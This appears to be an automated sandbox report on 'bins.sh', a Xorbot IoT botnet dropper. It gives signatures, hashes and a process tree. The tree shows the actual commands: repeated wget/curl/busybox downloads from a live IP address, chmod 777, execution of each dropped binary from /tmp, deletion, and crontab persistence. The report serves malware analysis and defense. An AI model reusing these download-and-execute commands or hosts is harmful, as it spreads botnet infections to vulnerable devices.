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Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    04/01/2025, 16:30

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    425b72445548772800314e4626751427

  • SHA1

    a784b4eed1e5f709e264ee26485eb3d97f5bba1e

  • SHA256

    b0cbfbdaa29a12ec2f0e20f5895b9f2abe38b50f1fabc26a6c2fc4893c63e632

  • SHA512

    d083cb8181ba1296383fda54d64d552ac1d15bd6f4a12aa1e5ebe85aad50791853ae86e07c618e0586356671429ab717b145321b66214873aaed7ea439ea064d

  • SSDEEP

    96:Lhr+G+59nX1ls6Wf6NxZ9vEERz33aCEHYQYLXD4CCk5NxtZxZ9vEEYC01ls6Wf6R:Lhr+G+59n3xZ9vEEBVZ9vEE/+G+591

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (1535) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 14 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:725
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:728
        • /usr/bin/wget
          wget http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Writes file to tmp directory
          PID:733
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Reads runtime system information
          • Writes file to tmp directory
          PID:755
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Writes file to tmp directory
          PID:756
        • /bin/chmod
          chmod 777 s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • File and Directory Permissions Modification
          PID:757
        • /tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          ./s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
          • Executes dropped EXE
          PID:758
        • /bin/rm
          rm s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT
          2⤵
            PID:760
          • /usr/bin/wget
            wget http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Writes file to tmp directory
            PID:761
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Writes file to tmp directory
            PID:762
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Writes file to tmp directory
            PID:779
          • /bin/chmod
            chmod 777 oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • File and Directory Permissions Modification
            PID:786
          • /tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            ./oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
            • Executes dropped EXE
            PID:787
          • /bin/rm
            rm oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH
            2⤵
              PID:791
            • /usr/bin/wget
              wget http://66.63.187.225/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • Writes file to tmp directory
              PID:792
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • Writes file to tmp directory
              PID:807
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • Writes file to tmp directory
              PID:815
            • /bin/chmod
              chmod 777 cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • File and Directory Permissions Modification
              PID:816
            • /tmp/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              ./cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
              • Executes dropped EXE
              PID:817
            • /bin/rm
              rm cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ
              2⤵
                PID:819
              • /usr/bin/wget
                wget http://66.63.187.225/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • Writes file to tmp directory
                PID:820
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • Writes file to tmp directory
                PID:821
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • Writes file to tmp directory
                PID:828
              • /bin/chmod
                chmod 777 APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • File and Directory Permissions Modification
                PID:834
              • /tmp/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                ./APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                2⤵
                • Executes dropped EXE
                • Renames itself
                • Reads runtime system information
                PID:835
                • /bin/sh
                  sh -c "crontab -l"
                  3⤵
                    PID:838
                    • /usr/bin/crontab
                      crontab -l
                      4⤵
                      • Reads runtime system information
                      PID:839
                  • /bin/sh
                    sh -c "crontab -"
                    3⤵
                      PID:840
                      • /usr/bin/crontab
                        crontab -
                        4⤵
                        • Creates/modifies Cron job
                        PID:842
                  • /bin/rm
                    rm APpkSUc0S03n3z63txqBx8rsIN0LmK68mo
                    2⤵
                      PID:854
                    • /usr/bin/wget
                      wget http://66.63.187.225/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                      2⤵
                        PID:858
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                        2⤵
                          PID:953
                        • /bin/busybox
                          /bin/busybox wget http://66.63.187.225/bins/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                          2⤵
                          • Writes file to tmp directory
                          PID:959
                        • /bin/chmod
                          chmod 777 wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                          2⤵
                          • File and Directory Permissions Modification
                          PID:963
                        • /tmp/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                          ./wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                          2⤵
                          • Executes dropped EXE
                          PID:964
                        • /bin/rm
                          rm wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b
                          2⤵
                            PID:966
                          • /usr/bin/wget
                            wget http://66.63.187.225/bins/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                            2⤵
                              PID:967
                            • /usr/bin/curl
                              curl -O http://66.63.187.225/bins/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                              2⤵
                                PID:968
                              • /bin/busybox
                                /bin/busybox wget http://66.63.187.225/bins/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                2⤵
                                • Writes file to tmp directory
                                PID:969
                              • /bin/chmod
                                chmod 777 XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                2⤵
                                • File and Directory Permissions Modification
                                PID:970
                              • /tmp/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                ./XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                2⤵
                                • Executes dropped EXE
                                PID:971
                              • /bin/rm
                                rm XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9
                                2⤵
                                  PID:973
                                • /usr/bin/wget
                                  wget http://66.63.187.225/bins/DdDKa6awhT5mfgY9URVFJj6PwNWdnWZOTO
                                  2⤵
                                    PID:974

                                Network

                                MITRE ATT&CK Enterprise v15

                                Replay Monitor

                                Loading Replay Monitor...

                                Downloads

                                • /tmp/APpkSUc0S03n3z63txqBx8rsIN0LmK68mo

                                  Filesize

                                  151KB

                                  MD5

                                  3c90d5820bddcf7c5d1bd21dfa49d958

                                  SHA1

                                  5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                  SHA256

                                  bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                  SHA512

                                  54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                • /tmp/XKZPGiGbwykTqz4jgDSPT6H7KruiaILPf9

                                  Filesize

                                  107KB

                                  MD5

                                  eb9c3a0de91fcf16ba17cb24608df68c

                                  SHA1

                                  09d95a7d70d5e115d103be51edff7c498d272fac

                                  SHA256

                                  dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                  SHA512

                                  9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                • /tmp/cauW9St8nf1Mf1u3HDmXyfgA31KW3xhZZJ

                                  Filesize

                                  127KB

                                  MD5

                                  89077b7bd4bcafca7713be43635c4862

                                  SHA1

                                  fc02edb8fba29ea8ee99e6157ef8560334530052

                                  SHA256

                                  78416feab0c93152d65acc8f48835520db083cc3aed0aea622b9fb88284dc00d

                                  SHA512

                                  1b457b8f8d452eecaad9013241e50672befb70feb5349f5fa72d62ea1fa8affa968763e6511cc76cdc5bf12f080e4a8f10c8e141ccd0d36794e721d690f2c4b1

                                • /tmp/oGUT39rOPM4wOMIbbu9BvXeFmMXGktCFKH

                                  Filesize

                                  177KB

                                  MD5

                                  786d75a158fe731feca3880f436082c0

                                  SHA1

                                  79ea2734e43d00cdeabed5586b2c1994d02aef3e

                                  SHA256

                                  5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                                  SHA512

                                  7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

                                • /tmp/s6S09YrDZ4lppNz8FxnfZBa2kvcR3qbzKT

                                  Filesize

                                  111KB

                                  MD5

                                  701e7a55a4f3650f5feee92a9860e5fc

                                  SHA1

                                  6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

                                  SHA256

                                  ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

                                  SHA512

                                  7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

                                • /tmp/wziTHVvP3ChmgeiUfRGIRP7X1HygsZsP7b

                                  Filesize

                                  98KB

                                  MD5

                                  5141342d0df8699fa32a6b066a0c592e

                                  SHA1

                                  8157673225bd5182f16215e2aa823a25ca2d4fbc

                                  SHA256

                                  54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                  SHA512

                                  d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                • /var/spool/cron/crontabs/tmp.ZE79rd

                                  Filesize

                                  210B

                                  MD5

                                  2cccbce40c6f29976742ea8ec535d94c

                                  SHA1

                                  c63c2612de9d6283a2817158010c9371353fcac8

                                  SHA256

                                  7d094eed6011e96d24b43a0346489085c2615701a6bd4b2161280cc6e2cef3ce

                                  SHA512

                                  828aea55f6b43b447350ffb7715f1aa8bc091505be877008d51fb21099d26bbb87a12dabef036715c7fd55e2a0883de30023263bc0da22c6e6f0eff85c561260